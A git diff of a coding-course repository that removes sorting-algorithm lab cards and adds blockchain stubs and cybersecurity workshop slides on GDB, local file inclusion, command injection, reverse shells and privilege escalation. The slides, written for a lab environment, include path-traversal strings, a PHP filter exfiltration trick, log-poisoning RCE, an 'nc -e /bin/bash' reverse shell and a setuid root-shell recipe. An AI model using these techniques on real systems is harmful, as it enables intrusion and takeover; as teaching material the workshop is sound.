-Now that you have both the file of animals and the equations. You can determine which animal belongs to each equation by observing their end behavior and assigning a rank to each of them based on their growth rate value. End behavior is defined as what is going on at the ends of each graph (their **time complexity** or **Big O**). In this way you will have matched the equations by their animals.
-
-
-
-Once you have matched each equation to an animal, you also know the order of the equations from smallest to largest. Use this knowledge and create an array of numbers which represent the descending order of magnitude in which the equations were given. If you have equation values `[10, 156, 20, 2]`, then you should create an array of `[3, 1, 2, 4]`, since:
-
-
-* `10` is the third largest number, so it's rank is `3`,
-* `156` is the largest number, so it's rank is `1`
-* `20` is the second largest number, so it ranks `2`
-* `2` is the smallest number, so it rank is `4`
-
-Since this array of numbers maps with the animal names, use the dictionary and **print** out the order of animals linked to the order of equations given to confirm you stored them correctly. The order of animals printed out should match the order of the equations in the given data file.
-
-Now we want to sort this `array` using three different sort methods: **Bubble Sort**, **Insertion Sort**, and **Selection Sort** (as per lab policy D ). Edit the print statements given in the starter code to accept the `array` as an **input** and **print** out each step of a **swap** or move of the components.
-
-
-
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/31.md b/Module4_Labs/Lab7_Zoologist/Cards/31.md
deleted file mode 100644
index e736b8fe..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/31.md
+++ /dev/null
@@ -1,7 +0,0 @@
-
-
-
-
-
-
-Bubble sort compares adjacent elements per iteration before deciding to swap. Per comparison, they would swap only when the left neighbor is bigger than the right neighbor (assuming ascending order). This is when you want to print.
\ No newline at end of file
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/311.md b/Module4_Labs/Lab7_Zoologist/Cards/311.md
deleted file mode 100644
index 37889d93..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/311.md
+++ /dev/null
@@ -1,21 +0,0 @@
-
-
-
-
-
-
-We need to check pairs of elements, and this is done in the **if statement** within the **for loop**.
-
-```python
-if (arr[j] > arr[j+1]):
- arr[j], arr[j+1] = arr[j+1], arr[j]
- print(arr)
-```
-
-The change occurs when this condition is satisfied.
-
-`arr[j]` represents the left element of the pair, while `arr[j+1]` represents the right element of the pair.
-
-If the left element is bigger than the right element, then we swap them because we want an ascending order. (If we wanted a descending order, just change that `>` symbol to a `<` symbol)
-
-That is how we print the array.
\ No newline at end of file
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/32.md b/Module4_Labs/Lab7_Zoologist/Cards/32.md
deleted file mode 100644
index 8d13057f..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/32.md
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-Each iteration, we designate an element as the **key** called `arr[j]`(and each element gets to be the **key** starting from the leftest element to the rightest element).
-
-Within each iteration, for each element, starting from the second element (since the first iteration's key is the first element and we do not have to compare the first element with itself), we shift all the previous elements greater than the key (the key is `arr[j]`) one position forward in the array. These are the intermittent shifts; do not print these out. Instead, you want to print out the result after these intermittent shifts finish per element.
\ No newline at end of file
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/321.md b/Module4_Labs/Lab7_Zoologist/Cards/321.md
deleted file mode 100644
index 67bf82b2..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/321.md
+++ /dev/null
@@ -1,30 +0,0 @@
-
-
-
-
-
-
-```python
-j = i-1
-```
-
-`j` will be used to represent all the elements preceding `i`, one by one, meaning we will have to keep decrementing `j` until it hits 0. `key` will be our respective element (or the element we are comparing all the `j` elements to)
-
-We do this in a **while loop** and only for elements larger than our respective element `key`
-
-To shift the element, we assign the element at `j` to `j + 1`
-
-```python
-while j >= 0 and key < arr[j] :
- arr[j + 1] = arr[j]
- j -= 1
-```
-
-After all this shifting is done, we shift the final element, our respective element forward
-
-```python
-arr[j + 1] = key
-print(arr)
-```
-
-Now, all the intermittent shifting is done and this iteration is over. That is why we print out `arr` after these lines.
\ No newline at end of file
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/331.md b/Module4_Labs/Lab7_Zoologist/Cards/331.md
deleted file mode 100644
index 59f64009..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/331.md
+++ /dev/null
@@ -1,62 +0,0 @@
-
-
-
-
-
-
-```python
-def selectionSort(arr):
- # Traverse through all array elements
- for i in range(len(arr)):
-
- # Find the minimum element in remaining
- # unsorted array
- min_idx = i
- for j in range(i+1, len(arr)):
- if arr[min_idx] > arr[j]:
- min_idx = j
-
- # Swap the found minimum element with
- # the first element
- arr[i], arr[min_idx] = arr[min_idx], arr[i]
- print(arr)
-```
-
-```python
- # Traverse through all array elements
- for i in range(len(arr)):
-```
-
-We work towards the end of the array, so all `i`'s that we've passed are finished and are not to be touched ever again because they are in their final position.
-
-Each iteration of the outer **for loop**, we find the minimum iteration. We do this in another **for loop** to show what's going on, but this could also be done using the `min()` function
-
-```python
- # Traverse through all array elements
- for i in range(len(arr)):
- # Find the minimum element in remaining
- # unsorted array
- min_idx = i
- for j in range(i+1, len(arr)):
- if arr[min_idx] > arr[j]:
- min_idx = j
-```
-
-Now, we swap this minimum element that we found `arr[min_idx]` with the element at `i` to finalize its position.
-
-```python
- # Traverse through all array elements
- for i in range(len(arr)):
- # Find the minimum element in remaining
- # unsorted array
- min_idx = i
- for j in range(i+1, len(arr)):
- if arr[min_idx] > arr[j]:
- min_idx = j
- # Swap the found minimum element with
- # the first element
- arr[i], arr[min_idx] = arr[min_idx], arr[i]
- print(arr)
-```
-
-This was a swap! This means we should be print out the array after it. Fortunately, that was the entire selection sort, so we are done!
\ No newline at end of file
diff --git a/Module_Blockchain/README 2.md b/Module_Blockchain/README 2.md
new file mode 100644
index 00000000..dc347d70
--- /dev/null
+++ b/Module_Blockchain/README 2.md
@@ -0,0 +1,3 @@
+# Blockchain
+
+Intro to Blockchain
\ No newline at end of file
diff --git a/Module_Blockchain/README.md b/Module_Blockchain/README.md
new file mode 100644
index 00000000..dc347d70
--- /dev/null
+++ b/Module_Blockchain/README.md
@@ -0,0 +1,3 @@
+# Blockchain
+
+Intro to Blockchain
\ No newline at end of file
diff --git a/Module_Blockchain/code - GitHub/README 2.md b/Module_Blockchain/code - GitHub/README 2.md
new file mode 100644
index 00000000..790b04a6
--- /dev/null
+++ b/Module_Blockchain/code - GitHub/README 2.md
@@ -0,0 +1,5 @@
+# Code
+
+Temporarily, all code examples will go here.
+
+Please provide each code example in a separate subfolder along with brief READMEs on what activities are linked .
\ No newline at end of file
diff --git a/Module_Blockchain/code - GitHub/README.md b/Module_Blockchain/code - GitHub/README.md
new file mode 100644
index 00000000..790b04a6
--- /dev/null
+++ b/Module_Blockchain/code - GitHub/README.md
@@ -0,0 +1,5 @@
+# Code
+
+Temporarily, all code examples will go here.
+
+Please provide each code example in a separate subfolder along with brief READMEs on what activities are linked .
\ No newline at end of file
diff --git a/Module4.2_Intermediate_Data_Structures/git.keep b/Module_Blockchain/code - GitHub/git 2.keep
similarity index 100%
rename from Module4.2_Intermediate_Data_Structures/git.keep
rename to Module_Blockchain/code - GitHub/git 2.keep
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/git.keep b/Module_Blockchain/code - GitHub/git.keep
old mode 100644
new mode 100755
similarity index 100%
rename from Module4.3_Search_and_Sorting_Algorithms/activities/git.keep
rename to Module_Blockchain/code - GitHub/git.keep
diff --git a/Module_Blockchain/slides - PPTs/README 2.md b/Module_Blockchain/slides - PPTs/README 2.md
new file mode 100644
index 00000000..e0e16abc
--- /dev/null
+++ b/Module_Blockchain/slides - PPTs/README 2.md
@@ -0,0 +1,5 @@
+# Slides
+
+Temporarily, all of Blockchain's slides will go here.
+
+Please convert the slides into Markdown format (named 1.md, 2.md, etc.). Each presentation should be in its own separate sub-folder. Along with each activity, please include a README with a 2-4 sentence summary on what the activity is overall about, to help give our reviewers some context.
\ No newline at end of file
diff --git a/Module_Blockchain/slides - PPTs/README.md b/Module_Blockchain/slides - PPTs/README.md
new file mode 100644
index 00000000..e0e16abc
--- /dev/null
+++ b/Module_Blockchain/slides - PPTs/README.md
@@ -0,0 +1,5 @@
+# Slides
+
+Temporarily, all of Blockchain's slides will go here.
+
+Please convert the slides into Markdown format (named 1.md, 2.md, etc.). Each presentation should be in its own separate sub-folder. Along with each activity, please include a README with a 2-4 sentence summary on what the activity is overall about, to help give our reviewers some context.
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/git.keep b/Module_Blockchain/slides - PPTs/git 2.keep
similarity index 100%
rename from Module4.3_Search_and_Sorting_Algorithms/git.keep
rename to Module_Blockchain/slides - PPTs/git 2.keep
diff --git a/Module4_Labs/git.keep b/Module_Blockchain/slides - PPTs/git.keep
similarity index 100%
rename from Module4_Labs/git.keep
rename to Module_Blockchain/slides - PPTs/git.keep
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/1.md b/Module_Cybersecurity/Assembly and GDB Refresher/1.md
new file mode 100644
index 00000000..ebb83649
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/1.md
@@ -0,0 +1,12 @@
+# Assembly and GDB Refresher
+
+Understanding the inner workings of an executable
+
+##### What is assembly?
+
+Your CPU doesn’t understand C or Python or anything like that. It’s very dumb and can only run “machine code”, a set of binary instructions that runs on the “barebones” metal.
+
+Assembly is a “human-readable” version of machine code. For example, a “mov %rbx,%rax” instruction in assembly is “48 89 d8” in machine code
+
+In general, all other programming languages need to be converted to assembly at some point, and an assembler converts it into machine code, which your CPU runs.
+
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/2.md b/Module_Cybersecurity/Assembly and GDB Refresher/2.md
new file mode 100644
index 00000000..d2e6b24a
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/2.md
@@ -0,0 +1,7 @@
+# Why are we interested in assembly?
+
+When you get a program, it might not come with source code, but it definitely comes with machine code (otherwise how would your CPU know what to do?)
+
+If you can read machine code, you can grab any program out there and reverse engineer it to figure out what it does, and even modify or patch it!*
+
+Unfortunately machine code is very low-level, so it might take you a while to get used to but it's very normal.
\ No newline at end of file
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/3.md b/Module_Cybersecurity/Assembly and GDB Refresher/3.md
new file mode 100644
index 00000000..f08d5f95
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/3.md
@@ -0,0 +1,9 @@
+# Setting up
+
+Please install GDB and binutils. It’s usually preinstalled on most Linux systems but if it’s not, try typing
+ `sudo apt install gdb binutils`
+
+Also install Ghidra using this link: https://ghidra-sre.org/
+
+Download the binaries we’re going through here:https://daviscybersec.ddns.net/workshops/assembly_refresher.zip
+
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/4.md b/Module_Cybersecurity/Assembly and GDB Refresher/4.md
new file mode 100644
index 00000000..360593f3
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/4.md
@@ -0,0 +1,36 @@
+# Basic assembly instructions
+
+Let’s take a look at some actual assembly code!
+
+The tool ‘objdump’ dumps assembly from an executable binary. Try running ‘objdump -d 1_basic’ to dump its assembly.
+- We’re only interested in the ‘main’ section
+
+Open ‘1_basic.c’ side by side to compare the assembly and the C source code!
+
+##### Basic Instructions
+
+- mov src,dest : Moves src into dest (note the order!)
+- call addr: Calls the function at addr, with the arguments passed through registers
+- Fetching the value in a memory address
+- -0x4(%rbp) means go to the address %rbp-4, and grab the value there
+
+Note: This is where x86 and x64 differ, but we’ll go through that and what ‘call’ does exactly in the next workshop!
+
+Now let’s check the disassembly for 2_if
+- cmp a,b: Does b-a and stores “flags” about the calculation
+- jl: Jump if last cmp was less than zero
+- jg: Jump if greater
+- jle/jge: Jump if less/greater than or equal
+
+##### Loops
+
+‘objdump -d 3_loop’
+What does a loop look like in assembly?
+start of loop:
+ loop_body
+ cmp ?,?
+ jump to start of loop if sth happens
+after_loop
+
+In general, when you’re reversing a binary, it’s very important to watch for call and jump instructions
+Instructions like mov, lea, push and pull are linear, but jumps and calls indicate logic like if statements and loops
\ No newline at end of file
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/5.md b/Module_Cybersecurity/Assembly and GDB Refresher/5.md
new file mode 100644
index 00000000..3cc89c55
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/5.md
@@ -0,0 +1,10 @@
+# GDB
+
+You’ve almost certainly had experience with GDB before in another programming class
+
+GDB (GNU debugger) is used for debugging executables. You can stop the process at a certain instruction, examine memory, move stuff around, etc.
+
+Let’s use GDB to try and guess the password of a program (4_strcmp)
+
+- Source code is provided to you, with the password removed
+
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/6.md b/Module_Cybersecurity/Assembly and GDB Refresher/6.md
new file mode 100644
index 00000000..a26ca8ba
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/6.md
@@ -0,0 +1,39 @@
+# GDB commands
+
+##### Stopping the program
+
+You can type ‘break name’ to set a “breakpoint” at the function called “name”. You can also ‘break *0xaddr’ to break when it tries to execute the instruction at addr.
+
+- When a program reaches a breakpoint, it stops execution and you can examine stuff
+- Type “continue” to continue running the program, or “ni” to run to the next instruction
+- To delete a breakpoint, use “delete #” where # is the breakpoint number.
+- Finally, use ‘run’ to run the program!
+
+You can abbreviate the above commands (‘b func’, ‘d 2’, etc). Also, you can use “disassemble” or “disas” to show a disassembly of the program, like objdump.
+
+Let's set a breakpoint at 'strcmp'.
+
+##### Examining registers and memory
+
+Now we have stopped at ‘strcmp’!
+
+On 64-bit binaries, function parameters are passed in registers. For functions with two arguments like strcmp, one is stored in ‘rsi’ and one in ‘rdi’. You can examine the registers and find out the arguments to the function!
+- ‘info reg’
+
+To examine a string in memory, try x/s
+
+- e.g. ‘x/s 0xabcdef’
+
+We’ve extracted the password from memory by using ‘x’!
+
+‘x’ examines the memory, and the ‘/s’ tells it the memory its looking at is a string, and it should print it out as one
+
+- You can tell ‘x’ to output it in some other format
+
+ - ‘x/a’ assumes it’s looking at pointers
+ - ‘x/x’ assumes it’s looking at 32-bit integers. I use this a lot!
+ - ‘x/i’ assumes it’s looking at assembly instructions
+
+You can also ask it to dump 32 integers by using ‘x/32x’. Same goes with everything else
+
+Now try to examine stuff in ‘5_reading_memory’!
\ No newline at end of file
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/7.md b/Module_Cybersecurity/Assembly and GDB Refresher/7.md
new file mode 100644
index 00000000..d2425b46
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/7.md
@@ -0,0 +1,13 @@
+# Ghidra
+
+Now that we have a taste of what it’s like to read the raw assembly and understanding what programs do, let’s bring out the big guns!
+
+Ghidra is a reverse engineering tool with lots of features, including decompilation! It’s a much, much, much more souped-up version of objdump
+
+You can install it from https://ghidra-sre.org/
+
+##### Using Ghidra on the earlier binaries
+
+Try opening 4_strcmp and 5_reading_memory in Ghidra and see what you get!
+
+As you can see this makes our lives a *lot* easier
\ No newline at end of file
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/8.md b/Module_Cybersecurity/Assembly and GDB Refresher/8.md
new file mode 100644
index 00000000..9f888ca8
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/8.md
@@ -0,0 +1,29 @@
+# Control Flow Hijacking
+
+##### What is control flow hijacking?
+
+
+
+##### Using Ghidra
+
+Try using Ghidra to take a look at ‘6_control_flow_hijacking’. Your goal is to let the program reach the last “puts” statement with the help of gdb.
+
+We’ve identified two roadblocks between us and the goal!
+
+- That “sleep” function and the if(5<=7) comparison
+- In GDB, you can modify the values of registers at any time!
+- First, break right at the ‘call sleep’ instruction
+ - Next, we can set the register ‘edi’ to 1, then continue running the program
+ - We’ve just changed the parameter to ‘sleep’!
+- That’s all good, but how are we gonna bypass the comparison?
+- Break at the jle instruction
+- Note that the jump won’t be taken (remember, “cmp $0x4,$0x7” calculates 7-4, which is >0!
+- Change the instruction pointer to start executing as if you took the jump!
+
+ - There’s a special $rip register, for “instruction pointer”. This holds the address of the next instruction that’s gonna be executed.
+
+Therefore, if we “set $rip=0x(address to jump to)”, we can let the program run **whatever** we want!
+
+That’s it! We successfully “tricked” the program into executing the final puts statement!
+
+Of course, this is just a trick. In general, if you give a binary to someone they can do lots of analysis on it and run whatever code they want. This is why if you are making a service, never trust the clients, only trust the servers that are under your control. That was also a sneak peek into next week’s workshop. If an attacker can seize control of the $rip pointer, it’s game over! The trick is to find a way to control it… to be continued next time.
\ No newline at end of file
diff --git a/Module_Cybersecurity/Assembly and GDB Refresher/9.md b/Module_Cybersecurity/Assembly and GDB Refresher/9.md
new file mode 100644
index 00000000..e9ce5abc
--- /dev/null
+++ b/Module_Cybersecurity/Assembly and GDB Refresher/9.md
@@ -0,0 +1,15 @@
+# Reverse Engineering
+
+##### What is reverse engineering?
+
+
+
+##### Using Ghidra
+
+Try to use Ghidra on ‘7_reverse_engineering’, figure out what it does and grab the flag!
+
+- Hint: Once you figured stuff out, it might be helpful to use GDB and dump intermediate values without worrying about where those values came from
+
+Remember, always be alert of **ifs**, **loops** and **function calls**!
+Good luck!
+
diff --git a/Module_Cybersecurity/Basis Log Analysis/1.md b/Module_Cybersecurity/Basis Log Analysis/1.md
new file mode 100644
index 00000000..c6509aa8
--- /dev/null
+++ b/Module_Cybersecurity/Basis Log Analysis/1.md
@@ -0,0 +1,2 @@
+# Basic Log Analysis
+
diff --git a/Module_Cybersecurity/Local File Inclusion/1.md b/Module_Cybersecurity/Local File Inclusion/1.md
new file mode 100644
index 00000000..258ab956
--- /dev/null
+++ b/Module_Cybersecurity/Local File Inclusion/1.md
@@ -0,0 +1,17 @@
+# Intro
+
+Vulnerable website is at
+
+daviscybersec.ddns.net:100XX
+
+Each person would get a different port, so if you need to I can reset your container. If you are following this after the workshop, see second page of presentation.
+
+Your name is John Doe.
+
+If you need a reverse shell, SSH: [revshell@daviscybersec.ddns.net](mailto:revshell@daviscybersec.ddns.net)
+
+Password: daviscybersec
+
+192.168.1.200 is the listener IP
+
+There are three flags on the system, see if you can get them all! Save the flags if you can because you might be able to submit them for points later!
\ No newline at end of file
diff --git a/Module_Cybersecurity/Local File Inclusion/2.md b/Module_Cybersecurity/Local File Inclusion/2.md
new file mode 100644
index 00000000..cabcd38f
--- /dev/null
+++ b/Module_Cybersecurity/Local File Inclusion/2.md
@@ -0,0 +1,43 @@
+# Local File Inclusion
+
+##### What is local file inclusion (LFI)?
+
+Check the vulnerable webapp first
+
+Info for people following along AFTER the workshop:
+
+Two containers are still running on ports 10001 and 10002. If you want to use them, feel free to ask me to reset them for you.
+
+##### No such file or directory…?
+
+- The most important thing when pentesting a system is to see how it behaves when given unexpected input
+- If we enter a name that is not in the roster, we get a “file not found” error
+- This means it’s very likely that the server is just opening a file and sending us the contents
+
+##### ../profit
+
+- From the error we can see the server is reading files from /home/professor/grades
+- Can we access other files on the system?
+- /home/professor/grades/../../../etc/passwd
+- If you don’t have the error logs, don’t worry! The root directory still has a .. that points to itself, so just rack up a bajillion ../../../s
+
+##### What next?
+
+- We can read arbitrary files on the system! What should we read though?
+
+- /etc/passwd
+
+- - Contains user account info
+
+- /etc/[random config files]
+
+- - If file found, the system has that service installed
+ - Could also give you useful info
+
+- /proc/self/
+
+- - This is a bit advanced, but you theoretically could gain RCE using /proc/self/environ, read own memory from /proc/self/mem, etc
+
+- Source code and log files
+
+- - We will cover these two in more detail
\ No newline at end of file
diff --git a/Module_Cybersecurity/Local File Inclusion/3.md b/Module_Cybersecurity/Local File Inclusion/3.md
new file mode 100644
index 00000000..f7222ef5
--- /dev/null
+++ b/Module_Cybersecurity/Local File Inclusion/3.md
@@ -0,0 +1,17 @@
+# PHP
+
+##### Reading PHP source
+
+- If we can read arbitrary files, why not see what the webserver is doing?
+- ../../../var/www/html/index.php
+- However the results are a mess!
+- This is because the webserver still recognizes tags and will execute them as code instead of displaying them
+- How can we get around this restriction?
+
+##### PHP filters
+
+- If we don’t let the webserver see the php tags, we can exfiltrate the source code
+- So we need to encode it somehow…
+- PHP filters can actually convert the file into base64!
+- php://filter/convert.base64-encode/resource=file
+- There are other useful PHP filters(like zipping/unzipping) that could help you bypass security checks and exfiltrate/execute files
\ No newline at end of file
diff --git a/Module_Cybersecurity/Local File Inclusion/4.md b/Module_Cybersecurity/Local File Inclusion/4.md
new file mode 100644
index 00000000..3a76303f
--- /dev/null
+++ b/Module_Cybersecurity/Local File Inclusion/4.md
@@ -0,0 +1,8 @@
+# RCE through log files
+
+- So we got the source code, but nothing interesting inside.
+- Can we turn our LFI into an RCE?
+- If you read the log file, the server prints out a bunch of stuff, including our user agent
+- What if our user agent is “”
+- This is the part where you can mess up. If you make a request like this using syntactically incorrect PHP code, it can make this attack undoabe. Tell me if you need the container reset!
+-
\ No newline at end of file
diff --git a/Module_Cybersecurity/Local File Inclusion/5.md b/Module_Cybersecurity/Local File Inclusion/5.md
new file mode 100644
index 00000000..f9299edb
--- /dev/null
+++ b/Module_Cybersecurity/Local File Inclusion/5.md
@@ -0,0 +1,7 @@
+# Reverse shell
+
+- We can execute code on the server!
+- Use the skills from the last workshop and get yourself a reverse shell!
+- If you need a refresher or just some common reverse shells: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet or just google “reverse shell cheat sheet”
+- I recommend using the php one since we know php is on the system, but we are not sure if other tools are(you can always use the which command to check)
+
diff --git a/Module_Cybersecurity/Local File Inclusion/6.md b/Module_Cybersecurity/Local File Inclusion/6.md
new file mode 100644
index 00000000..db6d9acd
--- /dev/null
+++ b/Module_Cybersecurity/Local File Inclusion/6.md
@@ -0,0 +1,7 @@
+# Almost there...
+
+- There’s a slight issue: quote marks
+- Since the apache logs use double quotes around the UA string, any quotes we put in there will be escaped into \”
+- This makes PHP freak out
+- Solution: more encoding!
+- Execute a base64-encoded string
\ No newline at end of file
diff --git a/Module_Cybersecurity/Local File Inclusion/7.md b/Module_Cybersecurity/Local File Inclusion/7.md
new file mode 100644
index 00000000..778566f1
--- /dev/null
+++ b/Module_Cybersecurity/Local File Inclusion/7.md
@@ -0,0 +1,13 @@
+# Jackpot!
+
+- We got a reverse shell and the second flag!
+
+- The third flag is hidden deeper, but I won’t tell you where it is just yet. Happy hunting!
+
+- To summarize, we found a vulnerability where we can read arbitrary files, used it to extract information from the system, and eventually gained RCE from access.log
+
+- If you are a developer
+
+- - ALWAYS sanitize your inputs!
+ - Don’t just run dangerous functions like include() with user input
+ - Consider moving your log files to a non-standard location
\ No newline at end of file
diff --git a/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/1.md b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/1.md
new file mode 100644
index 00000000..7adbf514
--- /dev/null
+++ b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/1.md
@@ -0,0 +1,30 @@
+# RCEs, reverse shells, and privescs
+
+How to attack and own a machine running vulnerable services
+
+##### What is command injection?
+
+- Check the vulnerable webapp first
+- http://daviscybersec.ddns.net:8079/commandinjection.php
+- The webserver is probably executing something like “calculator {INPUT}”
+- What happens if your input contains weird characters?
+- “calculator 1+1 ; evil_command”
+- Both commands get executed!
+- There are many ways to detect command injection vulns, most importantly throw “metacharacters” at it (e.g. quotes and semicolons)
+- The same concept is used for other injections like SQL injection
+
+DISCLAIMER:
+
+You WILL be gaining root access on the server, so please be courteous of others. Don’t be a jerk and run ‘rm -rf /’, or put rootkits, or add junk into .bashrc, or add this device to your botnet collection, etc. All other devices on the network is out of bounds, too.
+
+SSH into [revshell@daviscybersec.ddns.net](mailto:revshell@daviscybersec.ddns.net)
+
+Password: daviscybersec
+
+You can listen on ports on 192.168.1.200 to the vulnerable webservice.
+
+Server you are attacking:
+
+http://daviscybersec.ddns.net:8079/commandinjection.php
+
+Try injecting commands, get a reverse shell, and gain root!
\ No newline at end of file
diff --git a/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/2.md b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/2.md
new file mode 100644
index 00000000..12f31857
--- /dev/null
+++ b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/2.md
@@ -0,0 +1,30 @@
+# First taste of RCE
+
+- We just executed an arbitrary command!
+- This is called RCE, or Remote Command Execution. Basically you can execute arbitrary commands on the server
+- This is extremely dangerous for the server, good news for the hackers
+- To defend against such attacks, remember to validate your inputs!
+
+##### What next?
+
+- Enumeration
+
+- Common commands to run and gain valuable info on the server:
+
+- id
+
+- - What privilege do you have?
+
+- uname -a
+
+- - Distro? Kernel version? Kernel exploits?
+
+- cat /etc/passwd
+
+- - What users are on the system?
+
+- netstat -auntp
+
+- - Any hidden services listening?
+
+- Look into LinEnum.sh, useful for beginners
\ No newline at end of file
diff --git a/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/3.md b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/3.md
new file mode 100644
index 00000000..7839e99d
--- /dev/null
+++ b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/3.md
@@ -0,0 +1,24 @@
+# Reverse shells
+
+- Typing commands into a webpage is annoying!
+- Can we get a shell?
+- Normally when you get a shell via SSH, you are the one connecting to a server
+- Reverse shells are, as the name implies, the reverse of that process. The server tries to connect to you
+- The server has to be able to initiate a connection to you, so you need a public facing server (eduroam blocks this)
+- SSH in my server if you need to
+
+##### nc
+
+- Remember nc(netcat)? It can also be used to listen on a port
+
+- nc -lvnp [PORT#]
+
+- - l for listen, v for verbose, n for no DNS, p for port
+
+- Some versions of nc allows you to connect to a port then execute a command
+
+- - nc -e [PROGRAM] [IP] [PORT]
+ - Obviously this is a huge security vulnerability
+ - Not all nc versions support this
+
+- You can execute “nc -e /bin/bash” on the remote server, “nc -lvnp” on your machine and let it connect to you!
\ No newline at end of file
diff --git a/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/4.md b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/4.md
new file mode 100644
index 00000000..c2409de1
--- /dev/null
+++ b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/4.md
@@ -0,0 +1,50 @@
+# Getting a “shell”
+
+- Now that you got a connection, you might notice it’s an ugly shell
+
+- No tab complete, arrow keys don’t work, Ctrl+C kills the reverse shell instead, can’t execute commands like vi or nano...
+
+- This is because:
+
+- - No PTY (feel free to read more on your own)
+ - Your terminal is not sending raw characters
+ - The remote server does not know how your terminal works or how big it is
+
+- Tricks:
+
+- - python -c “import pty;pty.spawn(‘/bin/bash’)”
+
+ - - this allows you to run a shell with a pty
+
+ - Ctrl+Z to background nc, “stty raw -echo”, “fg”
+
+ - - This allows your own terminal to send control sequences(like Ctrl+C) “raw” to nc
+ - When you type “fg” these characters won’t appear on the terminal, it’s normal
+
+ - Let the remote server know what terminal you’re using
+
+ - - export TERM=?????
+
+ - - You would have to find ????? by running “echo $TERM” on your own shell
+
+ - (optional) stty rows ?? cols ??
+
+ - - So commands use the whole screen
+
+- For those confused: [youtu.be/dv5QJt4mccA](https://youtu.be/dv5QJt4mccA)
+
+##### Finally, an actual shell! Now what?
+
+- Now that we have a complete shell, how should we proceed?
+
+- - We are currently www-data which can’t do a lot
+ - How about trying to gain root instead?
+
+- More enumeration
+
+- - Sensitive files with insecure permissions?
+ - Hidden files? Like passwords.txt
+ - More services on the inside you can exploit?
+ - Cron jobs as other users?
+ - SUID binaries? (more on that later)
+ - Improper sudo privileges?
\ No newline at end of file
diff --git a/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/5.md b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/5.md
new file mode 100644
index 00000000..3e5f0898
--- /dev/null
+++ b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/5.md
@@ -0,0 +1,31 @@
+# Jackpot!
+
+- We just found something by running sudo -l
+
+- What is setcap anyways?
+
+- Some of you might be familiar with the SUID/SGID bit
+
+- - You thought there are 9 permission bits? there are actually 12!
+
+ - Three hidden bits, which allow the binary to be run as another user
+
+ - This is useful for example on ping binaries, ping actually requires root privileges to run, so it’s SUID on some old systems
+
+ - - This also means if you find a bug in the ping binary, you can exploit it and get root!
+
+##### Capabilities
+
+- Since SUID binaries are such a huge vulnerability, modern linux systems have something called “capabilities” instead
+- ping now has CAP_NET_RAW which allows it to send raw network packets
+- There are lots of capabilities, but the interesting one here is CAP_SETUID
+- It allows the binary to set it’s user ID as anything! Including 0, which is root!
+- How can we exploit this?
+
+##### Writing a SUID shell
+
+- Go into /tmp, make a directory for yourself so you won’t interfere with others
+- Write a C program that calles setuid(0); then executes /bin/sh
+- Compile
+- Use the sudo vulnerability you just found and allow it to SUID to root
+- Run it!
\ No newline at end of file
diff --git a/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/6.md b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/6.md
new file mode 100644
index 00000000..f5f696c5
--- /dev/null
+++ b/Module_Cybersecurity/RCEs, reverse shells, and privilege escalation/6.md
@@ -0,0 +1,12 @@
+# REAL Jackpot!
+
+- You are now root! You own the system completely and may do anything you wish.
+
+- - Reminder: Please don’t do too much damage, be courteous of others. Read the disclaimer →
+
+- cat /flag
+
+
+
+- To recap, we learned how to do command injection, how to setup a reverse shell, we found a way to escalate our privileges and made our own binary to do so!
+- We covered a LOT so feel free to try this at home again! Practice!
\ No newline at end of file
diff --git a/Module_Cybersecurity/Return Oriented Programming/1.md b/Module_Cybersecurity/Return Oriented Programming/1.md
new file mode 100644
index 00000000..4281dcb1
--- /dev/null
+++ b/Module_Cybersecurity/Return Oriented Programming/1.md
@@ -0,0 +1,28 @@
+# Return Oriented Programming
+
+Abusing the ‘ret’ instruction and ret2libc attacks
+
+##### Setup
+
+You should already have GDB and binutils from the last workshop. Ghidra might help but is not necessary.
+
+I’m going to use “echo -e” to print out raw values to pipe into the program, but you can use python or some other tool.
+
+Install ROPgadget, we will be using it: pip install ropgadget
+
